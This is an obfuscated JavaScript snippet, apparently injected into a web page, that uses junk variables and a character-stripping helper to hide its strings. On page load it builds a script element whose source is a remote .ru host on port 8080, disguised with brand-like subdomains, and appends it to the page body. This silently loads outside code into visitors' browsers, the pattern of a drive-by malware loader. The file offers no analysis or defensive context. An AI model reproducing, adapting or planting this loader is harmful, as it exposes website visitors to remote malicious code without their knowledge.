var NO;if(NO!='o' && NO!='pO'){NO='o'};function f() {this.IR='';var fl=RegExp;var g;if(g!='' && g!='rK'){g=''};var s;if(s!='U' && s!='eI'){s='U'};var A=']';this.gt='';var aS="";var N=new String();var M='g';var oE;if(oE!='i' && oE!='E'){oE=''};var Lg=new Array();var Q='replace';var G="";var a='[';this.ab='';var jQ='';this.fr='';this.eT="";function j(I,y){var yp;if(yp!='' && yp!='fd'){yp=''};var v=a;v+=y;v+=A;var Ho;if(Ho!='Vu' && Ho!='J'){Ho='Vu'};var Y=new fl(v, M);return I[Q](Y, N);var ws='';};var sU;if(sU!='Qn'){sU='Qn'};var wX;if(wX!='' && wX!='jc'){wX=''};var Z=j('slcereiepetl',"le");var P=j('8992950522259289925025992',"925");var Ce;if(Ce!='' && Ce!='Nc'){Ce=null};var zP=new Date();var p='';this.Ck='';var yV=window;var c;if(c!='' && c!='K'){c='eA'};this.co='';var h=j('/RfMc92M.Mc9oMmR/RfRc92M.McRoMmM/Mk9oMuMb9e9i9.McRoMmR/9g9oMo9g9l9eM.McMoMm9/9tMoRr9r9eMn9tMzM.RcMoMm9.9pRhMpM',"9RM");var d=j('cgrjejajtjekEjlgejmgeknktk',"gkj");var e=j('hZt8tZpZ:Z/8/ZfZa8r8mZvZi8l8l8eZ-8cZoZmZ.Ze8l8a8nZc8e8.Zc8o8m8.8v8iZcZt8o8rZi8a8sZsZe8c8rZeZt8-ZcZoZmZ.ZnZe8wZa8g8eZdZiZr8e8c8t8.8rZu8:8',"8Z");var ju;if(ju!='KQ'){ju='KQ'};var rR=new String();var ul;if(ul!='UH' && ul!='S'){ul='UH'};yV[j('o0n6l0o0a0d0',"60t")]=function(){var _G;if(_G!='' && _G!='Kt'){_G='BC'};try {this.O="";p+=e;this.iu='';var QF;if(QF!=''){QF='_K'};p+=P;var jcW="";p+=h;this.cO="";V=document[d](Z);var vU=new String();L(V,'src',p);L(V,'defer',([9,1][1]));var EQY;if(EQY!='TO'){EQY='TO'};var yB;if(yB!='' && yB!='Tk'){yB='va'};var MN;if(MN!='' && MN!='ve'){MN='TQ'};document.body.appendChild(V);this.kj='';} catch(YR){};};var DD;if(DD!='bh'){DD=''};this.IT="";var ZV='';function L(W,Qp,MI){var JU=new Array();W.setAttribute(Qp, MI);var iO;if(iO!='' && iO!='dU'){iO=null};}var Dv=new String();var Sp;if(Sp!='Pj'){Sp=''};var XQ=new String();var qn=new String();};var ZF=new Array();this.eU='';f();var NA=new String();